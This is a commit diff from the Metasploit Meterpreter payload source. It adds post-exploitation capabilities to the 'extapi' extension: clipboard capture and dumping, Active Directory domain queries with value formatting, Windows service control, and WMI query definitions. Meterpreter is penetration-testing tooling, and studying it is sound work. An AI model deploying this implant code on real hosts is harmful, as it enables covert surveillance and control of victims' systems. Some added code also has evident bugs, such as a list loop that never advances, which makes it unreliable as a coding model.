1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-21 05:35:54 +01:00

Land #80, lots of @OJ PRs

This lands:

rapid7/meterpreter#69
rapid7/meterpreter#70
rapid7/meterpreter#75
rapid7/meterpreter#77
rapid7/meterpreter#78

All have been tested sufficiently, and once this lands, the binaries as
well as the library and module updates represented by
rapid7/metasploit-framework#3122 will also land.
This commit is contained in:
Tod Beardsley 2014-03-19 15:33:25 -05:00
commit 369e83318e
20 changed files with 1403 additions and 177 deletions

View File

@ -8,8 +8,8 @@ framework_dir = ../metasploit-framework/
# Change me if you want to build openssl and libpcap somewhere else
build_tmp = posix-meterp-build-tmp
BIONIC=$(PWD)/source/bionic
ROOT=$(basename $(CURDIR:%/=%))
BIONIC=$(ROOT)/source/bionic
LIBC=$(BIONIC)/libc
LIBM=$(BIONIC)/libm
COMPILED=$(BIONIC)/compiled
@ -94,7 +94,7 @@ $(COMPILED):
mkdir $(COMPILED)/
$(COMPILED)/libc.so: $(COMPILED)
(cd source/bionic/libc && ARCH=x86 TOP=${PWD} jam)
(cd source/bionic/libc && ARCH=x86 TOP=${ROOT} jam)
(cd source/bionic/libc/out/x86/ && $(MAKE) -f Makefile.msf && [ -f libbionic.so ])
cp source/bionic/libc/out/x86/libbionic.so $(COMPILED)/libc.so

View File

@ -84,6 +84,7 @@ You will need:
- gcc-multilib, if you're building on a 64-bit machine
- jam
- wget
- flex
Meterpreter requires libpcap-1.1.1 and OpenSSL 0.9.8o sources, which it
will download automatically during the build process. If for some

View File

@ -213,6 +213,61 @@ Packet *packet_create( PacketTlvType type, LPCSTR method )
return packet;
}
/*!
* @brief Create a packet that is used to contain a subgroup.
* @returns An instance of a packet to use as a group container.
* @remarks Group packets can be used to arbitrarily nest groupings prior to
* sending the packet to the client.
*/
Packet* packet_create_group()
{
Packet* packet = NULL;
do
{
if (!(packet = (Packet*)malloc(sizeof(Packet))))
{
break;
}
memset(packet, 0, sizeof(Packet));
// we don't need to worry about the TLV header at this point
// so we'll ignore it
// Initialize the payload to be blank
packet->payload = NULL;
packet->payloadLength = 0;
return packet;
} while (0);
if (packet)
{
free(packet);
}
return NULL;
}
/*!
* @brief Add a group packet to the parent packet.
* @param packet Pointer to the container packet that the group is to be added to.
* @param type The type of group packet being added.
* @param groupPacket the packet containing the group data (created by `packet_create_group`).
* @returns Indication of success or failure.
* @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds.
*/
DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket)
{
DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength);
if (result == ERROR_SUCCESS)
{
packet_destroy(groupPacket);
return ERROR_SUCCESS;
}
return result;
}
/*!
* @brief Create a response packet from a request.
* @details Create a response packet from a request, referencing the requestors

View File

@ -206,9 +206,11 @@ typedef struct
*/
LINKAGE Packet *packet_create(PacketTlvType type, LPCSTR method);
LINKAGE Packet *packet_create_response(Packet *packet);
LINKAGE Packet* packet_create_group();
LINKAGE Packet *packet_duplicate(Packet *packet);
LINKAGE VOID packet_destroy(Packet *packet);
LINKAGE DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket);
LINKAGE DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str);
LINKAGE DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str);
LINKAGE DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val);

View File

@ -3,6 +3,7 @@
* @brief Definitions for ADSI functionality.
*/
#include "extapi.h"
#include "wshelpers.h"
#include "adsi.h"
#include "adsi_interface.h"
@ -10,41 +11,7 @@
#define DEFAULT_PAGE_SIZE 1000
/*!
* @brief Helper function that converts an ASCII string to a wide char string.
* @param lpValue ASCII string to convert.
* @param lpwValue Target memory for the converted string.
* @remark \c lpwValue must be freed by the caller using `free`.
* @returns Indication of success or failure.
*/
DWORD to_wide_string(LPSTR lpValue, LPWSTR* lpwValue)
{
size_t charsCopied = 0;
DWORD valueLength;
DWORD dwResult;
do
{
if (lpValue == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Value parameter missing", ERROR_INVALID_PARAMETER);
}
valueLength = lstrlenA(lpValue);
*lpwValue = (LPWSTR)malloc(sizeof(WCHAR)* (lstrlenA(lpValue) + 1));
if (*lpwValue == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY);
}
mbstowcs_s(&charsCopied, *lpwValue, valueLength + 1, lpValue, valueLength);
dwResult = ERROR_SUCCESS;
} while (0);
return dwResult;
}
/*!
* @brief Enumerate all the users in AD.
* @brief Perform an ASDI query against a domain.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the incoming \c Packet instance.
* @returns Indication of success or failure.

View File

@ -5,8 +5,6 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_H
//DWORD request_adsi_user_enum(Remote *remote, Packet *packet);
//DWORD request_adsi_computer_enum(Remote *remote, Packet *packet);
DWORD request_adsi_domain_query(Remote *remote, Packet *packet);
#endif

View File

@ -13,12 +13,97 @@ extern "C" {
#pragma comment(lib, "Activeds.lib")
#define VALUE_SIZE 512
#define VALUE_SIZE 1024
#define PATH_SIZE 256
typedef BOOL (WINAPI *PCONVERTSIDTOSTRINGSID)(PSID pSid, LPSTR* pStr);
/*! @brief The GUID of the Directory Search COM object. */
static const IID IID_IDirectorySearch = { 0x109BA8EC, 0x92F0, 0x11D0, { 0xA7, 0x90, 0x00, 0xC0, 0x4F, 0xD8, 0xD5, 0xA8 } };
static PCONVERTSIDTOSTRINGSID pConvertSidToStringSid = NULL;
static HMODULE hAdvapi32 = NULL;
/*!
* @brief Render a SID to a string.
* @param pSid Pointer to the SID to render.
* @param pStr Pointer to the variable that will receive the string. Free with `LocalFree`.
* @returns Indication of success or failure.
*/
BOOL ConvertSidToStringSid(PSID pSid, LPSTR* pStr)
{
if (pConvertSidToStringSid == NULL)
{
if (hAdvapi32 == NULL)
{
hAdvapi32 = LoadLibraryA("Advapi32.dll");
}
pConvertSidToStringSid = hAdvapi32 == NULL ? NULL : (PCONVERTSIDTOSTRINGSID)GetProcAddress(hAdvapi32, "ConvertSidToStringSidA");
}
return pConvertSidToStringSid == NULL ? FALSE : pConvertSidToStringSid(pSid, pStr);
}
/*!
* @brief Render a byte array as a GUID string.
* @param bytes Pointer to the GUID bytes.
* @param buffer Pointer to the target buffer.
* @param bufferSize size of the memory available in \c buffer.
* @remark Assumes the caller knows what they're doing, and assumes that there are 16 bytes in the array.
*/
void guid_to_string(LPBYTE bytes, char* buffer, DWORD bufferSize)
{
sprintf_s(buffer, bufferSize, "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x",
bytes[0], bytes[1], bytes[2], bytes[3],
bytes[4], bytes[5], bytes[6], bytes[7],
bytes[8], bytes[9], bytes[10], bytes[11],
bytes[12], bytes[13], bytes[14], bytes[15]);
}
/*!
* @brief Render a byte array as a string.
* @param bytes Pointer to the bytes.
* @param count Number of bytes to write.
* @param buffer Pointer to the target buffer.
* @param bufferSize size of the memory available in \c buffer.
* @param byteFormat optional per-byte format (defaults to \c %02x).
* @param byteFormatMaxLen optional per-byte format max length (to make sure we allocated enough memory).
* @param delim optional delimiter to render between bytes (defaults to \c -).
* @remark Assumes the caller knows what they're doing, and assumes that there are 16 bytes in the array.
*/
char* bytes_to_string(LPBYTE bytes, DWORD count, char* byteFormat = "%02x", DWORD byteFormatMaxLen = 2, char* delim = "-")
{
dprintf("[EXTAPI ADSI] Stringifying a binary of %u bytes", count);
if (bytes == NULL || count == 0)
{
return NULL;
}
size_t delimLen = delim == NULL ? 0 : strlen(delim);
size_t requiredSize = count * byteFormatMaxLen + (count - 1) * delimLen + 1;
char* string = (char*)malloc(requiredSize);
char* csr = string;
if (string)
{
for (DWORD i = 0; i < count; ++i)
{
if (i != 0 && delimLen > 0)
{
csr += sprintf_s(csr, delimLen + 1, "%s", delim);
}
csr += sprintf_s(csr, byteFormatMaxLen + 1, byteFormat, bytes[i]);
}
}
dprintf("[EXTAPI ADSI] Stringified a binary of %u bytes to: %s", count, string);
return string;
}
/*!
* @brief Perform a domain query via ADSI.
* @param lpwDomain Name of the domain that is to be queried.
@ -117,29 +202,224 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
HRESULT hr = pDirSearch->GetColumn(hSearch, lpwQueryCols[dwIndex], &col);
if (SUCCEEDED(hr))
{
WCHAR* source = NULL;
switch (col.dwADsType)
{
case ADSTYPE_LARGE_INTEGER:
_i64toa_s(col.pADsValues->LargeInteger.QuadPart, valueTarget, VALUE_SIZE, 10);
entries[dwIndex].header.length = lstrlenA(valueTarget) + 1;
dprintf("[ADSI] Adding large int value %ul", (UINT)col.pADsValues->Integer);
break;
case ADSTYPE_INTEGER:
_itoa_s((UINT)col.pADsValues->Integer, valueTarget, VALUE_SIZE, 10);
entries[dwIndex].header.length = lstrlenA(valueTarget) + 1;
dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer);
break;
default:
WCHAR* source = col.dwADsType == ADSTYPE_CASE_IGNORE_STRING
? col.pADsValues->CaseIgnoreString
: col.pADsValues->CaseExactString;
case ADSTYPE_LARGE_INTEGER:
{
_i64toa_s(col.pADsValues->LargeInteger.QuadPart, valueTarget, VALUE_SIZE, 10);
dprintf("[ADSI] Adding large int value %ul", (UINT)col.pADsValues->Integer);
break;
}
case ADSTYPE_INTEGER:
{
_itoa_s((UINT)col.pADsValues->Integer, valueTarget, VALUE_SIZE, 10);
dprintf("[ADSI] Adding int value %u", (UINT)col.pADsValues->Integer);
break;
}
case ADSTYPE_DN_STRING:
{
source = col.pADsValues->DNString;
break;
}
case ADSTYPE_PRINTABLE_STRING:
{
source = col.pADsValues->PrintableString;
break;
}
case ADSTYPE_NUMERIC_STRING:
{
source = col.pADsValues->NumericString;
break;
}
case ADSTYPE_CASE_EXACT_STRING:
{
source = col.pADsValues->CaseExactString;
break;
}
case ADSTYPE_CASE_IGNORE_STRING:
{
source = col.pADsValues->CaseIgnoreString;
break;
}
case ADSTYPE_BOOLEAN:
{
source = col.pADsValues->Boolean == 0 ? L"False" : L"True";
break;
}
case ADSTYPE_OCTET_STRING:
{
char* s = bytes_to_string(col.pADsValues->OctetString.lpValue, col.pADsValues->OctetString.dwLength);
if (s)
{
strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1);
free(s);
}
break;
}
case ADSTYPE_UTC_TIME:
{
SYSTEMTIME* pt = &col.pADsValues->UTCTime;
sprintf_s(valueTarget, VALUE_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u",
pt->wYear, pt->wMonth, pt->wDay, pt->wHour, pt->wMinute, pt->wSecond, pt->wMilliseconds);
break;
}
case ADSTYPE_PROV_SPECIFIC:
{
char* s = bytes_to_string(col.pADsValues->ProviderSpecific.lpValue, col.pADsValues->ProviderSpecific.dwLength);
if (s)
{
strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1);
free(s);
}
break;
}
case ADSTYPE_OBJECT_CLASS:
{
source = col.pADsValues->ClassName;
break;
}
case ADSTYPE_CASEIGNORE_LIST:
{
// list of strings, yay!
char* prefix = "";
PADS_CASEIGNORE_LIST list = col.pADsValues->pCaseIgnoreList;
char* csr = valueTarget;
size_t sizeLeft = VALUE_SIZE;
wcstombs_s(&charsConverted, valueTarget, VALUE_SIZE, source, VALUE_SIZE - 1);
dprintf("[ADSI] Adding string %s", valueTarget);
entries[dwIndex].header.length = lstrlenA(valueTarget) + 1;
break;
while (list != NULL && sizeLeft > 0)
{
int printed = sprintf_s(csr, sizeLeft, "%s%S", prefix, list->String);
sizeLeft -= printed;
csr += printed;
prefix = ", ";
}
break;
}
case ADSTYPE_PATH:
{
PADS_PATH path = col.pADsValues->pPath;
sprintf_s(valueTarget, VALUE_SIZE, "Vol: %S, Path: %S, Type: %u", path->VolumeName, path->Path, path->Type);
break;
}
case ADSTYPE_POSTALADDRESS:
{
PADS_POSTALADDRESS addr = col.pADsValues->pPostalAddress;
char* prefix = "";
PADS_CASEIGNORE_LIST list = col.pADsValues->pCaseIgnoreList;
char* csr = valueTarget;
size_t sizeLeft = VALUE_SIZE;
for (DWORD i = 0; i < sizeof(addr->PostalAddress) / sizeof(addr->PostalAddress[0]) && sizeLeft > 0; ++i)
{
if (!addr->PostalAddress[i] || lstrlenW(addr->PostalAddress[i]) == 0)
{
continue;
}
int printed = sprintf_s(csr, sizeLeft, "%s%S", prefix, addr->PostalAddress[i]);
sizeLeft -= printed;
csr += printed;
prefix = ", ";
}
break;
}
case ADSTYPE_TIMESTAMP:
{
ADS_TIMESTAMP* pts = &col.pADsValues->Timestamp;
sprintf_s(valueTarget, VALUE_SIZE, "Event: %S, Sec: %u", pts->EventID, pts->WholeSeconds);
break;
}
case ADSTYPE_BACKLINK:
{
ADS_BACKLINK* pbl = &col.pADsValues->BackLink;
sprintf_s(valueTarget, VALUE_SIZE, "Name: %S, ID: %u", pbl->ObjectName, pbl->RemoteID);
break;
}
case ADSTYPE_TYPEDNAME:
{
PADS_TYPEDNAME ptn = col.pADsValues->pTypedName;
sprintf_s(valueTarget, VALUE_SIZE, "Interval: %u, Level: %u, Name: %S", ptn->Interval, ptn->Level, ptn->ObjectName);
break;
}
case ADSTYPE_NETADDRESS:
{
PADS_NETADDRESS pna = col.pADsValues->pNetAddress;
// IP address octects won't be bigger than 3 chars (given that we can only have 255 as a max value
char* s = bytes_to_string(pna->Address, pna->AddressLength, "%u", 3, ".");
if (s)
{
strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1);
free(s);
}
dprintf("[ADSI] %u network address of %u bytes added", pna->AddressType, pna->AddressLength);
break;
}
case ADSTYPE_EMAIL:
{
source = col.pADsValues->Email.Address;
break;
}
case ADSTYPE_NT_SECURITY_DESCRIPTOR:
{
ADS_NT_SECURITY_DESCRIPTOR* psd = &col.pADsValues->SecurityDescriptor;
char* s = NULL;
if(ConvertSidToStringSid((PSID)psd->lpValue, &s))
{
dprintf("[EXTAPI ADSI] converted SID: %s", s);
strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1);
LocalFree(s);
}
else
{
s = bytes_to_string(psd->lpValue, psd->dwLength);
if (s)
{
strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1);
free(s);
}
}
break;
}
case ADSTYPE_DN_WITH_BINARY:
{
PADS_DN_WITH_BINARY pdb = col.pADsValues->pDNWithBinary;
sprintf_s(valueTarget, VALUE_SIZE, "DN: %S, Value: %S", pdb->pszDNString);
size_t charsPrinted = lstrlenA(valueTarget);
char* s = bytes_to_string(pdb->lpBinaryValue, pdb->dwLength, "%u", 3, ".");
if (s)
{
strncpy_s(valueTarget + charsPrinted, VALUE_SIZE, s, VALUE_SIZE - 1);
free(s);
}
break;
}
case ADSTYPE_DN_WITH_STRING:
{
PADS_DN_WITH_STRING pds = col.pADsValues->pDNWithString;
sprintf_s(valueTarget, VALUE_SIZE, "DN: %S, Value: %S", pds->pszDNString, pds->pszStringValue);
break;
}
case ADSTYPE_FAXNUMBER:
case ADSTYPE_REPLICAPOINTER:
default:
{
// this is a string of some kind
dprintf("[ADSI] Unhandled ADSI type %u (%x), adding unknown", col.dwADsType, col.dwADsType);
sprintf_s(valueTarget, VALUE_SIZE, "(unhandled ADSI type %u)", col.dwADsType);
break;
}
}
// if source is now non-null it means a value was added to it,
// so we can just do a conversion directly into the value target
if (source != NULL)
{
wcstombs_s(&charsConverted, valueTarget, VALUE_SIZE, source, VALUE_SIZE - 1);
dprintf("[ADSI] Adding string value %s", valueTarget);
}
entries[dwIndex].header.length = lstrlenA(valueTarget) + 1;
pDirSearch->FreeColumn(&col);
}
else

View File

@ -1,7 +1,7 @@
/*!
* @file adsi_interface.h
* @brief Declarations for functions that deal directly with ADSI
* via the COM interfaces (hence the .cpp extension).
* via the COM interface.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_INTERFACE_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_ADSI_INTERFACE_H

View File

@ -339,47 +339,32 @@ VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40])
VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData)
{
ClipboardFile* pFile;
Tlv entries[4];
Packet* group = packet_create_group();
TlvType groupType;
Packet* file = NULL;
char timestamp[40];
dprintf("[EXTAPI CLIPBOARD] Dumping clipboard capture");
memset(entries, 0, sizeof(entries));
memset(timestamp, 0, sizeof(timestamp));
timestamp_to_string(&pCapture->stCaptureTime, timestamp);
entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP;
entries[0].header.length = lstrlenA(timestamp) + 1;
entries[0].buffer = (PUCHAR)timestamp;
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp);
dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp);
switch (pCapture->captureType)
{
case CapText:
dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText);
entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT;
entries[1].buffer = (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)");
entries[1].header.length = lstrlenA((char*)entries[1].buffer) + 1;
packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, entries, 2);
dprintf("[EXTAPI CLIPBOARD] Text added to packet");
packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)"));
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT;
break;
case CapImage:
dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight);
entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX;
entries[1].header.length = sizeof(DWORD);
entries[1].buffer = (PUCHAR)&pCapture->lpImage->dwWidth;
entries[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY;
entries[2].header.length = sizeof(DWORD);
entries[2].buffer = (PUCHAR)&pCapture->lpImage->dwHeight;
entries[3].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
entries[3].header.length = pCapture->lpImage->dwImageSize;
entries[3].buffer = (PUCHAR)pCapture->lpImage->lpImageContent;
packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, entries, bCaptureImageData && pCapture->lpImage->lpImageContent ? 4 : 3);
dprintf("[EXTAPI CLIPBOARD] Image added to packet");
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth);
packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight);
packet_add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize);
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG;
break;
case CapFiles:
pFile = pCapture->lpFiles;
@ -387,25 +372,25 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
while (pFile)
{
dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile);
file = packet_create_group();
dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath);
entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME;
entries[1].header.length = lstrlenA(pFile->lpPath) + 1;
entries[1].buffer = (PUCHAR)pFile->lpPath;
packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath);
dprintf("[EXTAPI CLIPBOARD] Adding size %llu", htonq(pFile->qwSize));
entries[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE;
entries[2].header.length = sizeof(QWORD);
entries[2].buffer = (PUCHAR)&pFile->qwSize;
packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize);
dprintf("[EXTAPI CLIPBOARD] Adding group");
packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 3);
packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file);
pFile = pFile->pNext;
dprintf("[EXTAPI CLIPBOARD] Moving to next");
}
groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES;
break;
}
packet_add_group(pResponse, groupType, group);
}
/*!
@ -635,8 +620,8 @@ DWORD capture_clipboard(BOOL bCaptureImageData, ClipboardCapture** ppCapture)
pCapture->captureType = CapImage;
pCapture->lpImage = (ClipboardImage*)malloc(sizeof(ClipboardImage));
memset(pCapture->lpImage, 0, sizeof(ClipboardImage));
pCapture->lpImage->dwWidth = htonl(lpBI->bmiHeader.biWidth);
pCapture->lpImage->dwHeight = htonl(lpBI->bmiHeader.biHeight);
pCapture->lpImage->dwWidth = lpBI->bmiHeader.biWidth;
pCapture->lpImage->dwHeight = lpBI->bmiHeader.biHeight;
// throw together a basic guess for this, it doesn't have to be exact.
pCapture->dwSize = lpBI->bmiHeader.biWidth * lpBI->bmiHeader.biHeight * 4;

View File

@ -14,6 +14,7 @@
#include "service.h"
#include "clipboard.h"
#include "adsi.h"
#include "wmi.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
@ -24,6 +25,7 @@ Command customCommands[] =
COMMAND_REQ("extapi_window_enum", request_window_enum),
COMMAND_REQ("extapi_service_enum", request_service_enum),
COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_service_control", request_service_control),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
@ -33,6 +35,7 @@ Command customCommands[] =
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_TERMINATOR
};
@ -48,7 +51,10 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
command_register_all(customCommands);
return initialise_clipboard();
initialise_clipboard();
initialise_service();
return ERROR_SUCCESS;
}
/*!

View File

@ -29,6 +29,10 @@
#define TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 24)
#define TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 25)
#define TLV_TYPE_EXT_SERVICE_QUERY_DACL MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 26)
#define TLV_TYPE_EXT_SERVICE_QUERY_STATUS MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 27)
#define TLV_TYPE_EXT_SERVICE_CTRL_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 28)
#define TLV_TYPE_EXT_SERVICE_CTRL_OP MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 29)
#define TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 35)
@ -40,6 +44,7 @@
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 44)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 45)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 46)
@ -59,4 +64,12 @@
#define TLV_TYPE_EXT_ASDI_MAXRESULTS MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 60)
#define TLV_TYPE_EXT_ASDI_PAGESIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 61)
#define TLV_TYPE_EXT_WMI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 65)
#define TLV_TYPE_EXT_WMI_QUERY MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 66)
#define TLV_TYPE_EXT_WMI_FIELD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 67)
#define TLV_TYPE_EXT_WMI_VALUE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 68)
#define TLV_TYPE_EXT_WMI_FIELDS MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 69)
#define TLV_TYPE_EXT_WMI_VALUES MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 70)
#define TLV_TYPE_EXT_WMI_ERROR MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 71)
#endif

View File

@ -8,10 +8,38 @@
#ifdef _WIN32
#include <Sddl.h>
/*! @brief The possible list of operations to perform on a service */
typedef enum _ServiceOperation
{
ServOpStart = 1,
ServOpPause = 2,
ServOpResume = 3,
ServOpStop = 4,
ServOpRestart = 5
} ServiceOperation;
HMODULE hAdvapi32 = NULL;
/*! @brief Typedef for the OpenSCManagerA function. */
typedef SC_HANDLE(WINAPI * POPENSCMANAGERA)(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess);
static POPENSCMANAGERA pOpenSCManagerA = NULL;
/*! @brief Typedef for the CloseServiceHandle function. */
typedef BOOL(WINAPI * PCLOSESERVICEHANDLE)(SC_HANDLE hSCObject);
static PCLOSESERVICEHANDLE pCloseServiceHandle = NULL;
/*! @brief Typedef for the StartServiceA function. */
typedef BOOL (WINAPI * PSTARTSERVICEA)(SC_HANDLE hService, DWORD dwNumServiceArgs, LPCTSTR *lpServiceArgVectors);
static PSTARTSERVICEA pStartServiceA = NULL;
/*! @brief Typedef for the ControlService function. */
typedef BOOL (WINAPI * PCONTROLSERVICE)(SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus);
static PCONTROLSERVICE pControlService = NULL;
/*! @brief Typedef for the QueryServiceStatus function. */
typedef BOOL (WINAPI * PQUERYSERVICESTATUS)(SC_HANDLE hService, LPSERVICE_STATUS lpServiceStatus);
static PQUERYSERVICESTATUS pQueryServiceStatus = NULL;
/*! @brief Typedef for the EnumServicesStatusExA function. */
typedef BOOL(WINAPI * PENUMSERVICESSTATUSEXA)(
SC_HANDLE hSCManager,
@ -25,8 +53,12 @@ typedef BOOL(WINAPI * PENUMSERVICESSTATUSEXA)(
LPDWORD lpResumeHandle,
LPCSTR pszGroupName
);
static PENUMSERVICESSTATUSEXA pEnumServicesStatusExA = NULL;
/*! @brief Typedef for the OpenServiceA function. */
typedef SC_HANDLE(WINAPI * POPENSERVICEA)(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAcces);
static POPENSERVICEA pOpenServiceA = NULL;
